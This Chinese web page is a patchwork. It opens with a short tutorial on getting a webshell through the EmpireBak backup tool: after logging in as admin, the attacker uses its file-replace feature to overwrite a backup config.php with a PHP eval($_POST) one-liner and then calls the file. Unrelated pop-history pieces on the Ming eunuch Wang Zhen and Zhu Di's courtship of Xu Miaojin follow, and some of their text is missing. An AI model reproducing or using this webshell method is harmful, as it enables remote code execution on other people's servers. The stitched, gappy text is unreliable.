帝国备份王(Empirebak)拿webshell(图文)
【菜科解读】
。
默认有个safemod当然也可以是别的..这里以safemod来说了备份完毕后来到管理备份目录打包并下载把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下我是替换config.php的内容
内容为 ?php$b_table="a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system";$tb[a]=1;$tb[bak_guest3Book1]=1;$tb[bak_info17Content1]=1;$tb[bak_info17Sort1]=1;$tb[bak_info18Content1]=1;$tb[bak_info1Content1]=1;$tb[bak_info1Sort1]=1;$tb[bak_info2Content1]=1;$tb[bak_info2Sort1]=1;$tb[bak_info4Content1]=1;$tb[bak_info4Sort1]=1;$tb[bak_info5Content1]=1;$tb[bak_info5Sort1]=1;$tb[bak_info6Content1]=1;$tb[bak_info6Sort1]=1;$tb[bak_info7Content1]=1;$tb[bak_info7Sort1]=1;$tb[bak_info8Content1]=1;$tb[bak_info8Sort1]=1;$tb[bak_page12Content1]=1;$tb[bak_page1Content1]=1;$tb[bak_page21Content1]=1;$tb[bak_poll20Inve1]=1;$tb[bak_poll20InveCount1]=1;$tb[bak_poll20InveOpt1]=1;$tb[guest16Book1]=1;$tb[guest3Book1]=1;$tb[htmlImage]=1;$tb[htmlImageTmp]=1;$tb[info10Content1]=1;$tb[info10Sort1]=1;$tb[info12Content1]=1;$tb[info12Sort1]=1;$tb[info15Content1]=1;$tb[info15Sort1]=1;$tb[info17Content1]=1;$tb[info17Sort1]=1;$tb[info18Content1]=1;$tb[info18Sort1]=1;$tb[info19Content1]=1;$tb[info19Sort1]=1;$tb[info1Content1]=1;$tb[info1Sort1]=1;$tb[info2Content1]=7;$tb[info2Sort1]=1;$tb[info4Content1]=1;$tb[info4Sort1]=1;$tb[info5Content1]=1;$tb[info5Sort1]=1;$tb[info6Content1]=1;$tb[info6Sort1]=1;$tb[info7Content1]=1;$tb[info7Sort1]=1;$tb[info8Content1]=1;$tb[info8Sort1]=1;$tb[operatorPower]=1;$tb[operators]=1;$tb[page11Content1]=1;$tb[page12Content1]=1;$tb[page13Content1]=1;$tb[page14Content1]=1;$tb[page1Content1]=1;$tb[page21Content1]=1;$tb[poll20Inve1]=1;$tb[poll20InveCount1]=1;$tb[poll20InveOpt1]=1;$tb[poll9Inve1]=1;$tb[poll9InveCount1]=1;$tb[poll9InveOpt1]=1;$tb[system]=1;$b_baktype=0;$b_filesize=300;$b_bakline=500;$b_autoauf=1;$b_dbname="s422857db0";$b_stru=1;$b_strufour=0;$b_dbchar="auto";$b_beover=0;$b_insertf="replace";$b_autofield=",,";?>然后替换 ?php eval($_POST[1]);?>by fhod~~~~~访问http://www.xxx.com/upload/bdata/safemod/config.php能看到 by fhod~~~~~证明成功得到shell密码为1
前提是要有管理密码能进入管理^_^
帝国,备份,王,Empirebak,拿,webshell,图明朝著名太监王振，到底是个怎么样的人？
还有人认为秉笔同样出现于宣德朝。
这是有可能的。
宦官并非都是文盲，找几个识文断字的应该不算困难。
但，宦官势焰熏天，当始于王振。
他是第一个专权的太监。
王振在宦官群体中是另类也是奇葩。
比他更加有名的是免死罪犯，是街头混混，王振却是有文化的读书人。
正史说他毕业于内书堂，也有人说他本是地府教育系统的官员，由于永乐皇帝的诏令才净身的。
这些当然无从稽考，但可以肯定他曾经被宣宗安排陪太子读书，甚至为太子启蒙，因此太子即位的当年便成为司礼太监。
这位新皇帝就是的曾孙，当时九岁。
因此，王振的任命便未免可疑。
要知道，由于皇帝年纪太小，实际上代理皇权的是不肯垂帘听政的太皇，主持朝政的则是、和。
太皇太后就是仁宗皇帝的张皇后，与太祖、成祖徐皇后一样享有盛誉。
“三杨”更是三朝或四朝元老，岂能不知道事情的轻重?如果王振掌司礼监还是破格和越级提拔，就更奇怪。
事实上太皇太后很快就有了警觉。
某天，她老人家带领女官来到便殿，先教训皇帝要遵循祖制听元老的话，然后宣王振上殿，地说：你不守规矩，应该赐死!女官们一齐拔出刀剑，架在王振脖子上。
皇帝和“三杨”都跪下求情，老太太这才饶他不死，但严厉警告这家伙不得。
王振自然唯唯诺诺，也确实暂时夹起了尾巴。
然而太皇太后刚刚去世，他就把宫门口“内臣不得干预政事”的铁牌偷走了，从此。
其实，被当廷教训之后，王振并没老实多久，因为太皇太后和“三杨”都垂垂老矣，力不从心。
杨荣甚至劝杨士奇接受王振推荐的阁臣人选。
他说：我们这些人再自立，那些家伙也容不得。
万一哪天宫中传出小纸条任命某某入阁，我辈就束手无策了。
好在王振推荐的，总还是读书人嘛!实际上王振猖狂是因为皇帝纵容。
正统六年，宫中举行宦官照例不能列席的大宴，王振却说：辅成王，我就不能去坐一坐吗?十五岁的皇帝皱着眉头想了半天，最后还是下令开东华门的中门，请王振前来赴宴。
这件事，当然没人告诉太皇太后。
王振的风头也几乎压倒了所有人。
没错，皇帝叫他先生，公侯叫他干爹。
最无耻的是一个名叫王佑的小白脸，由于巴结王振当了工部侍郎。
某天，王振问他：你的脸上怎么没有胡子?小白脸答：老爷没有的，儿子哪敢有?王振应该笑了。
他当然想不到，八年以后将为自己刹不住车的狂妄付出代价。
正统十四年八月，王振在对蒙古部落的战争中由于胡乱指挥导致屡屡失败，被愤怒的禁卫军将领一棰打死。
但直到临死之前，他都。
这样的人如果成为特务，想想会怎样? 随机文章请问清朝时期成吉思汗后裔有被封爵吗？【海狮欧洲史】序：欧洲史上最瞎的第一场暗杀清朝最初国号是金 为何后来竟改成了清？真相令人跌破眼镜德国俾斯麦号战列舰沉船，初次任务遭到英国海空部队围歼爱因斯坦对鬼的解释，脑电波就是人类的鬼魂/脑电波轮回假说
皇后去世后，帝王想娶小姨子为新皇后
这等称号还算得上是比较高的赞誉。
但是，相传当时永乐皇帝朱棣的皇后徐氏去世之后，他想要纳自己的小姨子，也就是徐氏的妹妹当新一任的皇后，可是最后却被拒绝了。
但是为什么会这样呢?有着极高名誉的皇帝，最后却不能博得美人一笑。
朱棣的前皇后仁孝皇后徐氏是王和谢再兴的女儿，而徐达是向皇帝的挚友，因为徐达与朱元璋本就生在同乡，两人的关系也自然比常人要好，小时候又是一起玩耍的伙伴，之后有一只跟随朱元璋，为他打江山而立下过，是一等有名的开国大臣。
所以，关系自然是不同一般的。
后来，徐达又与朱元璋成了亲家关系，徐达有四个女儿，都相继嫁给了朱元璋的儿子。
其中大女儿就嫁给了燕王朱棣，其他的女儿也都嫁了，但是却唯独只有三女儿未嫁人。
徐达家中的三女儿其实也是非常有名气的，因为传说徐家三小姐虽然是出身名门，但是却一点都不娇气，还非常的温婉大方，知书懂礼，而且还生的美丽，试问，这样一个女子有谁不喜欢。
在朱棣的前皇后徐氏去世后，朱棣就一直在想，应该由谁来继续担任皇后，可是在后宫种，却都没有寻得这样的女子。
后来，在别人口中得出了仁孝皇后的妹妹，徐妙锦生得美丽，而且又贤良淑德，到确实是新皇后得最佳人选。
于是便派人去了徐家下旨。
这朱棣倒也是不委婉，直接就将徐妙锦封为皇后，对于这个都不了解得女人，他未免也太草率了。
可是，徐妙锦却不草率，倒是直接就拒绝了朱棣的册封。
后来，朱棣想着，可能是因为徐妙锦刚刚丧失了姐姐，自己又去享受她的皇后位置，肯定说不过去，想着给徐妙锦一点时间。
于是，没过多久，朱棣又派人去宣旨，但是这一次，徐妙锦却是用自己生病了为借口，不能接旨，最后，被派去宣旨的大人，进去房间一看才知道徐妙锦是装病的，她根本就没有生病，只是想借此机会来躲避接旨。
后又指着自己脸上的麻子，说自己太丑陋，不配做朱棣的皇后。
后来，回去的大人告知了朱棣这件事，身为一国之君，这种情况还是第一次见，而且这也是对自己的侮辱，当然是气不过的。
但是，还没等朱棣发落，徐妙锦就又来信说到，自己对这一生并没有什么欢喜的地方，故而看破了红尘，做他朱棣的皇后是不适合的。
所以，自己决定要出家当尼姑，以表决心。
既然徐妙锦话都说到这个地步了，那朱棣也不好再多说什么了。
其实这件事，看上去是这么回事，其实另有隐情。
因为徐妙锦不答应朱棣的愿因是，朱棣在还只是燕王的时候，皇位其实不是他的，而是朱棣的侄子的，是朱棣抢了他的皇位。
而当时徐妙锦和她的哥哥徐辉祖是支持朱棣的侄子朱允炆的，因为徐辉祖不接受朱棣，最后被朱棣关进了大牢，撤销了徐辉祖的官爵，后来死在了大牢中。
从这件事上，使徐妙锦看出，朱棣使非常残忍的，而且又是害死自己哥哥的人，这种人，她是万万不能嫁的。
所以，就算最后可能会死，她徐妙锦也不会答应，而是转身去当了尼姑。
其实从这件事来看，还是挺佩服徐妙锦的，有胆识有气魄，会根据自己的内心，不会屈服于现实。
随机文章美国总统甘迺迪经常补充男性贺尔蒙性欲之高让英国首相也头痛关于神射手哲别 他的生平资料和他的功绩如何？海底龙宫塞班岛蓝洞，美丽景色散发死亡的气息黑化版的白雪公主，联合王子让生母穿烧红铁鞋跳舞致死人死后一般会给谁托梦，直系血亲和鬼魂亲近的人（真相是思念成梦）
